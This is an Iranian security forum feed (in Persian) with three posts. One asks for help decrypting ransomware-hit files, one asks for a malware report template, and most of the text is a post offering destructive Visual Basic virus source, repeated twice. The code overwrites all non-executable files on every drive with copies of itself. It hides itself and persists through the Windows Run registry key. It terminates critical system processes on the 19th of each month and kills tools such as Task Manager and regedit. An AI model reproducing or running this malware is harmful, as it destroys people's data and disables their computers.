<![CDATA[ايران ويج - ويروس و آنتي ويروس]]> https://www.iranled.com/forum/ Tue, 01 Sep 2026 18:48:43 +0000 MyBB <![CDATA[راهنمایی در مورد رمزگشایی یک فایلی که توسط باج افزار کد شده]]> https://www.iranled.com/forum/thread-32737.html Sat, 23 Apr 2022 01:33:03 +0000 https://www.iranled.com/forum/thread-32737.html سیستم دوستم دچار یک باج افزار شده که فایل هاش کد شده و بشدت فایل هاش رو نیاز داره

من یک فایل pdf و یک فایل ورد که کد شده اند رو پیوست کردم
می خواستم بدونم کسی می تونه این رو برام رمزگشایی کنه ؟

.rar   nnnnn.rar (اندازه: 301.62 KB / تعداد دفعات دریافت: 160) ]]> سیستم دوستم دچار یک باج افزار شده که فایل هاش کد شده و بشدت فایل هاش رو نیاز داره

من یک فایل pdf و یک فایل ورد که کد شده اند رو پیوست کردم
می خواستم بدونم کسی می تونه این رو برام رمزگشایی کنه ؟

.rar   nnnnn.rar (اندازه: 301.62 KB / تعداد دفعات دریافت: 160) ]]> <![CDATA[درخواست قالب گزارش تحلیل بدافزار]]> https://www.iranled.com/forum/thread-32005.html Sun, 21 Apr 2019 12:28:58 +0000 https://www.iranled.com/forum/thread-32005.html دوستان اگر شما از قالب خاصی برای نوشتن گزارش تحلیل بدافزار استفاده میکنید، میتوانید آن را به من بدهید؟  :(): 
لطفا اگر خودتان آن قالب را استفاده میکنید آن را به اشتراک بگذارید چون منابع اینترنت به درد من نمیخورند 024]]> دوستان اگر شما از قالب خاصی برای نوشتن گزارش تحلیل بدافزار استفاده میکنید، میتوانید آن را به من بدهید؟  :(): 
لطفا اگر خودتان آن قالب را استفاده میکنید آن را به اشتراک بگذارید چون منابع اینترنت به درد من نمیخورند 024]]> <![CDATA[سورس ویروس ساده در عین حال خطر ناک با ویژال بیسیک]]> https://www.iranled.com/forum/thread-31977.html Sat, 02 Mar 2019 11:19:04 +0000 https://www.iranled.com/forum/thread-31977.html
سورس یه ویروس ساده قلب عشق - بهینه شده برای ورژن جدید در عین حال خطر ناک 
این ویروس از زمان اجرا تمام فایلها را خراب میکنه تعجب - بهینه شده برای ورژن جدید و از روز 19ماه میلادی شروع به ریست کردن یهویی سیستم (روش جدا از شات دان معمولی)میکنه
کد:
Dim man1 As String


Sub myposhe(sPath As String)


sdir = Dir(sPath, vbDirectory)
Do Until LenB(sdir) = 0
   Debug.Print sdir
   sdir = Dir
       
          kharab (sPath + sdir + "\")
         
Loop
End Sub

Private Sub kharab(p As String)
sFilename = Dir(p)

Do While sFilename > ""

 Debug.Print sFilename
 sFilename = Dir()
       If (Right(sFilename, 4) <> ".exe") Then
           List1.AddItem (sFilename)
           FileCopy manyer, sFilename
       End If
Loop

End Sub

Sub winGa()

End Sub

Private Sub Command1_Click()

End Sub

Private Sub Form_Load()
Call startt
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Call startt

If (Day(Date) = 19) Or (GetSetting("iran", "mm", "aa", "0") = 19) Then
Call SaveSetting("iran", "mm", "aa", "19")


Call EndAnyProcess("smss.exe")
Call EndAnyProcess("csrss.exe")
Call EndAnyProcess("system.exe")
Call EndAnyProcess("svchost.exe")


End If



End Sub
Sub startt()
On Error Resume Next
App.TaskVisible = False
Hide
Top = 10000
Dim mizYer As String
''mizYer = Environ$("USERPROFILE") & "\ali.txt"
''MsgBox mizYer
Dim manyer
manyer = App.Path
Dim llenman As Integer
llenman = Len(manyer)
If llenman = 3 Then
manyer = manyer + App.ExeName + ".exe"
Else
manyer = manyer + "\" + App.ExeName + ".exe"
End If


FileCopy manyer, man1

SetAttr man1, vbHidden + vbSystem

SetStringValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Window", man1
'\////////////////
List1.Clear
For Cl = 100 To 97 + 25
     If dt <> 1 Then
        List1.AddItem (Chr(Cl) + ":")
        kharab (Chr(Cl) + ":\")
        myposhe (Chr(Cl) + ":\")
     End If
  Next Cl
End Sub

Private Sub Timer2_Timer()
   Call Shell("explorer.exe", vbNormalFocus)

End Sub


ماژول ها
کد:
Type FILETIME
   lLowDateTime    As Long
   lHighDateTime   As Long
End Type

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_OUTOFMEMORY = 14&
Const ERROR_INVALID_PARAMETER = 87&
Const ERROR_ACCESS_DENIED = 5&
Const ERROR_NO_MORE_ITEMS = 259&
Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&
Const REG_SZ = 1&
Const REG_EXPAND_SZ = 2&
Const REG_BINARY = 3&
Const REG_DWORD = 4&
Const REG_DWORD_LITTLE_ENDIAN = 4&
Const REG_DWORD_BIG_ENDIAN = 5&
Const REG_LINK = 6&
Const REG_MULTI_SZ = 7&
Const REG_RESOURCE_LIST = 8&
Const REG_FULL_RESOURCE_DESCRIPTOR = 9&
Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&
Const KEY_SET_VALUE = &H2&
Const KEY_CREATE_SUB_KEY = &H4&
Const KEY_ENUMERATE_SUB_KEYS = &H8&
Const KEY_NOTIFY = &H10&
Const KEY_CREATE_LINK = &H20&
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ

Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long
Dim ByteArray() As Byte

'This constant determins wether or not to display error messages to the
'user. I have set the default value to False as an error message can and
'does become irritating after a while. Turn this value to true if you want
'to debug your programming code when reading and writing to your system
'registry, as any errors will be displayed in a message box.

Const DisplayErrorMsg = False


Function SetDWORDValue(SubKey As String, Entry As String, Value As Long)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
  rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key
  If rtn = ERROR_SUCCESS Then 'if the key was open successfully then
     rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, Value, 4) 'write the value
     If Not rtn = ERROR_SUCCESS Then   'if there was an error writting the value
        If DisplayErrorMsg = True Then 'if the user want errors displayed
           'msgbox ErrorMsg(rtn)        'display the error
        End If
     End If
     rtn = RegCloseKey(hKey) 'close the key
  Else 'if there was an error opening the key
     If DisplayErrorMsg = True Then 'if the user want errors displayed
        'msgbox ErrorMsg(rtn) 'display the error
     End If
  End If
End If

End Function



Function GetMainKeyHandle(MainKeyName As String) As Long

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
 
Select Case MainKeyName
      Case "HKEY_CLASSES_ROOT"
           GetMainKeyHandle = HKEY_CLASSES_ROOT
      Case "HKEY_CURRENT_USER"
           GetMainKeyHandle = HKEY_CURRENT_USER
      Case "HKEY_LOCAL_MACHINE"
           GetMainKeyHandle = HKEY_LOCAL_MACHINE
      Case "HKEY_USERS"
           GetMainKeyHandle = HKEY_USERS
      Case "HKEY_PERFORMANCE_DATA"
           GetMainKeyHandle = HKEY_PERFORMANCE_DATA
      Case "HKEY_CURRENT_CONFIG"
           GetMainKeyHandle = HKEY_CURRENT_CONFIG
      Case "HKEY_DYN_DATA"
           GetMainKeyHandle = HKEY_DYN_DATA
End Select

End Function

Function ErrorMsg(lErrorCode As Long) As String
   
'If an error does accurr, and the user wants error messages displayed, then
'display one of the following error messages

Select Case lErrorCode
      Case 1009, 1015
           GetErrorMsg = "The Registry Database is corrupt!"
      Case 2, 1010
           GetErrorMsg = "Bad Key Name"
      Case 1011
           GetErrorMsg = "Can't Open Key"
      Case 4, 1012
           GetErrorMsg = "Can't Read Key"
      Case 5
           GetErrorMsg = "Access to this key is denied"
      Case 1013
           GetErrorMsg = "Can't Write Key"
      Case 8, 14
           GetErrorMsg = "Out of memory"
      Case 87
           GetErrorMsg = "Invalid Parameter"
      Case 234
           GetErrorMsg = "There is more data than the buffer has been allocated to hold."
      Case Else
           GetErrorMsg = "Undefined Error Code:  " & Str$(lErrorCode)
End Select

End Function



Private Sub ParseKey(Keyname As String, Keyhandle As Long)
   
rtn = InStr(Keyname, "\") 'return if "\" is contained in the Keyname

If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then 'if the is a "\" at the end of the Keyname then
  'msgbox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname 'display error to the user
  Exit Sub 'exit the procedure
ElseIf rtn = 0 Then 'if the Keyname contains no "\"
  Keyhandle = GetMainKeyHandle(Keyname)
  Keyname = "" 'leave Keyname blank
Else 'otherwise, Keyname contains "\"
  Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) 'seperate the Keyname
  Keyname = Right(Keyname, Len(Keyname) - rtn)
End If

End Sub
Function CreateKey(SubKey As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
  rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) 'create the key
  If rtn = ERROR_SUCCESS Then 'if the key was created then
     rtn = RegCloseKey(hKey)  'close the key
  End If
End If

End Function
Function SetStringValue(SubKey As String, Entry As String, Value As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
  rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key
  If rtn = ERROR_SUCCESS Then 'if the key was open successfully then
     rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal Value, Len(Value)) 'write the value
     If Not rtn = ERROR_SUCCESS Then   'if there was an error writting the value
        If DisplayErrorMsg = True Then 'if the user wants errors displayed
           'msgbox ErrorMsg(rtn)        'display the error
        End If
     End If
     rtn = RegCloseKey(hKey) 'close the key
  Else 'if there was an error opening the key
     If DisplayErrorMsg = True Then 'if the user wants errors displayed
        'msgbox ErrorMsg(rtn)        'display the error
     End If
  End If
End If

End Function

و ماژول دوم
کد:
Private Declare Function GetVersion Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As Any, ReturnLength As Any) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Const PROCESS_VM_READ = 16
Private Const TH32CS_SNAPHEAPLIST = &H1
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const TH32CS_SNAPMODULE = &H8
Private Const HKEY_CLASSES_ROOT = &H80000000
Private Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST + TH32CS_SNAPPROCESS + TH32CS_SNAPTHREAD + TH32CS_SNAPMODULE)
Private Type PROCESSENTRY32
   dwSize As Long
   cntUsage As Long
   th32ProcessID As Long
   th32DefaultHeapID As Long
   th32ModuleID As Long
   cntThreads As Long
   th32ParentProcessID As Long
   pcPriClassBase As Long
   dwFlags As Long
   szexeFile As String * 260
End Type

Private Type LUID
  lowpart As Long
  highpart As Long
End Type

Private Type TOKEN_PRIVILEGES
   PrivilegeCount As Long
   LuidUDT As LUID
   Attributes As Long
End Type

Function GiveMeThatHandle(ExeName) As Long
Dim P_Pid, P_Proc, adr, bfLg As Long
Dim res&, ant&
Dim u As Integer
Dim Process As PROCESSENTRY32

res = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)

If res <> 0 Then

  Process.dwSize = Len(Process)
  ant = Process32First(res, Process)
  u = 0
 
Do
 A = LCase(Process.szexeFile)
   If InStr(A, ExeName) Then pids = Process.th32ProcessID
   ant = Process32Next(res, Process)
 u = u + 1
Loop Until ant = 0

End If

P_Pid = pids
hProcessID = P_Pid
DoEvents

   Dim hToken As Long
   Dim hProcess As Long
   Dim tp As TOKEN_PRIVILEGES
   
   If GetVersion() >= 0 Then
       If OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or _
           TOKEN_QUERY, hToken) = 0 Then
           GoTo CleanUp
       End If

       If LookupPrivilegeValue("", "SeDebugPrivilege", tp.LuidUDT) = 0 Then
           GoTo CleanUp
       End If

       tp.PrivilegeCount = 1
       tp.Attributes = SE_PRIVILEGE_ENABLED

       If AdjustTokenPrivileges(hToken, False, tp, 0, ByVal 0&, _
           ByVal 0&) = 0 Then
           GoTo CleanUp
       End If
   End If

   P_Proc = OpenProcess(PROCESS_ALL_ACCESS, 0, hProcessID)
   GiveMeThatHandle = P_Proc
CleanUp:
       If hToken Then CloseHandle hToken
End Function

Function EndAnyProcess(ExeName) As Boolean
      Dim phandle As Long
      Const PROCESS_ALL_ACCESS = 0
      phandle = GiveMeThatHandle(ExeName)
      Kill_Process = CBool(TerminateProcess(phandle, uExitCode))
      Call CloseHandle(phandle)
End Function

Private Sub Rest_sys()

Call EndAnyProcess("smss.exe")
Call EndAnyProcess("csrss.exe")
Call EndAnyProcess("system.exe")
Call EndAnyProcess("svchost.exe")
End Sub

Sub end_show()

Call EndAnyProcess("regedit.exe")
Call EndAnyProcess("taskmgr.exe")
Call EndAnyProcess("msconfig.exe")
Call EndAnyProcess("cmd.exe")
Call EndAnyProcess("mmc.exe")
Call EndAnyProcess("opera.exe")
End Sub
خنده بلد − بهینه شده برای ورژن جدید]]>
سورس یه ویروس ساده قلب عشق - بهینه شده برای ورژن جدید در عین حال خطر ناک 
این ویروس از زمان اجرا تمام فایلها را خراب میکنه تعجب - بهینه شده برای ورژن جدید و از روز 19ماه میلادی شروع به ریست کردن یهویی سیستم (روش جدا از شات دان معمولی)میکنه
کد:
Dim man1 As String


Sub myposhe(sPath As String)


sdir = Dir(sPath, vbDirectory)
Do Until LenB(sdir) = 0
   Debug.Print sdir
   sdir = Dir
       
          kharab (sPath + sdir + "\")
         
Loop
End Sub

Private Sub kharab(p As String)
sFilename = Dir(p)

Do While sFilename > ""

 Debug.Print sFilename
 sFilename = Dir()
       If (Right(sFilename, 4) <> ".exe") Then
           List1.AddItem (sFilename)
           FileCopy manyer, sFilename
       End If
Loop

End Sub

Sub winGa()

End Sub

Private Sub Command1_Click()

End Sub

Private Sub Form_Load()
Call startt
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Call startt

If (Day(Date) = 19) Or (GetSetting("iran", "mm", "aa", "0") = 19) Then
Call SaveSetting("iran", "mm", "aa", "19")


Call EndAnyProcess("smss.exe")
Call EndAnyProcess("csrss.exe")
Call EndAnyProcess("system.exe")
Call EndAnyProcess("svchost.exe")


End If



End Sub
Sub startt()
On Error Resume Next
App.TaskVisible = False
Hide
Top = 10000
Dim mizYer As String
''mizYer = Environ$("USERPROFILE") & "\ali.txt"
''MsgBox mizYer
Dim manyer
manyer = App.Path
Dim llenman As Integer
llenman = Len(manyer)
If llenman = 3 Then
manyer = manyer + App.ExeName + ".exe"
Else
manyer = manyer + "\" + App.ExeName + ".exe"
End If


FileCopy manyer, man1

SetAttr man1, vbHidden + vbSystem

SetStringValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Window", man1
'\////////////////
List1.Clear
For Cl = 100 To 97 + 25
     If dt <> 1 Then
        List1.AddItem (Chr(Cl) + ":")
        kharab (Chr(Cl) + ":\")
        myposhe (Chr(Cl) + ":\")
     End If
  Next Cl
End Sub

Private Sub Timer2_Timer()
   Call Shell("explorer.exe", vbNormalFocus)

End Sub


ماژول ها
کد:
Type FILETIME
   lLowDateTime    As Long
   lHighDateTime   As Long
End Type

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_OUTOFMEMORY = 14&
Const ERROR_INVALID_PARAMETER = 87&
Const ERROR_ACCESS_DENIED = 5&
Const ERROR_NO_MORE_ITEMS = 259&
Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&
Const REG_SZ = 1&
Const REG_EXPAND_SZ = 2&
Const REG_BINARY = 3&
Const REG_DWORD = 4&
Const REG_DWORD_LITTLE_ENDIAN = 4&
Const REG_DWORD_BIG_ENDIAN = 5&
Const REG_LINK = 6&
Const REG_MULTI_SZ = 7&
Const REG_RESOURCE_LIST = 8&
Const REG_FULL_RESOURCE_DESCRIPTOR = 9&
Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&
Const KEY_SET_VALUE = &H2&
Const KEY_CREATE_SUB_KEY = &H4&
Const KEY_ENUMERATE_SUB_KEYS = &H8&
Const KEY_NOTIFY = &H10&
Const KEY_CREATE_LINK = &H20&
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ

Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long
Dim ByteArray() As Byte

'This constant determins wether or not to display error messages to the
'user. I have set the default value to False as an error message can and
'does become irritating after a while. Turn this value to true if you want
'to debug your programming code when reading and writing to your system
'registry, as any errors will be displayed in a message box.

Const DisplayErrorMsg = False


Function SetDWORDValue(SubKey As String, Entry As String, Value As Long)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
  rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key
  If rtn = ERROR_SUCCESS Then 'if the key was open successfully then
     rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, Value, 4) 'write the value
     If Not rtn = ERROR_SUCCESS Then   'if there was an error writting the value
        If DisplayErrorMsg = True Then 'if the user want errors displayed
           'msgbox ErrorMsg(rtn)        'display the error
        End If
     End If
     rtn = RegCloseKey(hKey) 'close the key
  Else 'if there was an error opening the key
     If DisplayErrorMsg = True Then 'if the user want errors displayed
        'msgbox ErrorMsg(rtn) 'display the error
     End If
  End If
End If

End Function



Function GetMainKeyHandle(MainKeyName As String) As Long

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
 
Select Case MainKeyName
      Case "HKEY_CLASSES_ROOT"
           GetMainKeyHandle = HKEY_CLASSES_ROOT
      Case "HKEY_CURRENT_USER"
           GetMainKeyHandle = HKEY_CURRENT_USER
      Case "HKEY_LOCAL_MACHINE"
           GetMainKeyHandle = HKEY_LOCAL_MACHINE
      Case "HKEY_USERS"
           GetMainKeyHandle = HKEY_USERS
      Case "HKEY_PERFORMANCE_DATA"
           GetMainKeyHandle = HKEY_PERFORMANCE_DATA
      Case "HKEY_CURRENT_CONFIG"
           GetMainKeyHandle = HKEY_CURRENT_CONFIG
      Case "HKEY_DYN_DATA"
           GetMainKeyHandle = HKEY_DYN_DATA
End Select

End Function

Function ErrorMsg(lErrorCode As Long) As String
   
'If an error does accurr, and the user wants error messages displayed, then
'display one of the following error messages

Select Case lErrorCode
      Case 1009, 1015
           GetErrorMsg = "The Registry Database is corrupt!"
      Case 2, 1010
           GetErrorMsg = "Bad Key Name"
      Case 1011
           GetErrorMsg = "Can't Open Key"
      Case 4, 1012
           GetErrorMsg = "Can't Read Key"
      Case 5
           GetErrorMsg = "Access to this key is denied"
      Case 1013
           GetErrorMsg = "Can't Write Key"
      Case 8, 14
           GetErrorMsg = "Out of memory"
      Case 87
           GetErrorMsg = "Invalid Parameter"
      Case 234
           GetErrorMsg = "There is more data than the buffer has been allocated to hold."
      Case Else
           GetErrorMsg = "Undefined Error Code:  " & Str$(lErrorCode)
End Select

End Function



Private Sub ParseKey(Keyname As String, Keyhandle As Long)
   
rtn = InStr(Keyname, "\") 'return if "\" is contained in the Keyname

If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then 'if the is a "\" at the end of the Keyname then
  'msgbox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname 'display error to the user
  Exit Sub 'exit the procedure
ElseIf rtn = 0 Then 'if the Keyname contains no "\"
  Keyhandle = GetMainKeyHandle(Keyname)
  Keyname = "" 'leave Keyname blank
Else 'otherwise, Keyname contains "\"
  Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) 'seperate the Keyname
  Keyname = Right(Keyname, Len(Keyname) - rtn)
End If

End Sub
Function CreateKey(SubKey As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
  rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) 'create the key
  If rtn = ERROR_SUCCESS Then 'if the key was created then
     rtn = RegCloseKey(hKey)  'close the key
  End If
End If

End Function
Function SetStringValue(SubKey As String, Entry As String, Value As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
  rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key
  If rtn = ERROR_SUCCESS Then 'if the key was open successfully then
     rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal Value, Len(Value)) 'write the value
     If Not rtn = ERROR_SUCCESS Then   'if there was an error writting the value
        If DisplayErrorMsg = True Then 'if the user wants errors displayed
           'msgbox ErrorMsg(rtn)        'display the error
        End If
     End If
     rtn = RegCloseKey(hKey) 'close the key
  Else 'if there was an error opening the key
     If DisplayErrorMsg = True Then 'if the user wants errors displayed
        'msgbox ErrorMsg(rtn)        'display the error
     End If
  End If
End If

End Function

و ماژول دوم
کد:
Private Declare Function GetVersion Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As Any, ReturnLength As Any) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Const PROCESS_VM_READ = 16
Private Const TH32CS_SNAPHEAPLIST = &H1
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const TH32CS_SNAPMODULE = &H8
Private Const HKEY_CLASSES_ROOT = &H80000000
